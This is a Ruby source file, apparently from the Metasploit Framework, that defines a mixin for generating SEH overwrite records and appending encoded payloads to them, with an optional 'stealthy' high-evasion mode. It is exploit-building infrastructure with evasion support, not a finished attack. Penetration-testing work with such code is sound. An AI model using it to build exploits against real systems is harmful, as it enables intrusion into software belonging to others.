require 'rex/exploitation/seh'

module Msf

###
# 
# This mixin provides a interface to generating SEH registration records in a
# robust fashion using the Rex::Exploitation::Seh class.
#
###
module Exploit::Seh

	#
	# Creates an instance of an exploit that uses an SEH overwrite.
	#
	def initialize(info = {})
		super

		# Register an advanced option that allows users to specify whether or
		# not a dynamic SEH record should be used.
		register_advanced_options(
			[
				OptBool.new('DynamicSehRecord', [ false, "Generate a dynamic SEH record (more stealthy)", 'no' ])
			], Msf::Exploit::Seh)
	end

	#
	# Generates an SEH record with zero or more options.  The supported options
	# are:
	#
	#   EvasionLevel
	#
	#     The evasion level to use.  If none is supplied, the default is used.
	#
	#   NopGenerator
	#
	#     The NOP generator instance to use, if any.
	#
	#   Space
	#
	#     The amount of room the SEH record generator has to play with for
	#     random padding.  This should be derived from the maximum amount of
	#     space available to the exploit for payloads minus the current payload
	#     size.
	# 
	def generate_seh_record(handler, opts = {})
		seh = Rex::Exploitation::Seh.new(
				payload_badchars,
				opts['Space'] || payload_space,
				opts['NopGenerator'] || nop_generator)

		evlvl = opts['EvasionLevel'] || seh.default_evasion_level

		# If the user specified that a dynamic SEH record be used, override all
		# of the supplied settings.
		if (datastore['DynamicSehRecord'])
			evlvl = EVASION_HIGH
		end

		# Generate the record
		seh.generate_seh_record(handler, evlvl)
	end
	
	def generate_seh_payload(handler, opts = {})
	
		# The boilerplate this replaces always has 8 bytes for seh + addr
		seh_space = 8 + payload.nop_sled_size
		
		seh = Rex::Exploitation::Seh.new(
				payload_badchars,
				seh_space,
				opts['NopGenerator'] || nop_generator)

		evlvl = opts['EvasionLevel'] || seh.default_evasion_level

		# If the user specified that a dynamic SEH record be used, override all
		# of the supplied settings.
		if (datastore['DynamicSehRecord'])
			evlvl = EVASION_HIGH
		end

		# Generate the record
		rec = seh.generate_seh_record(handler, evlvl)
		
		# Append the payload, minus the nop sled that we replaced
		rec << payload.encoded.slice(payload.nop_sled_size, payload.encoded.length)
	end

end

end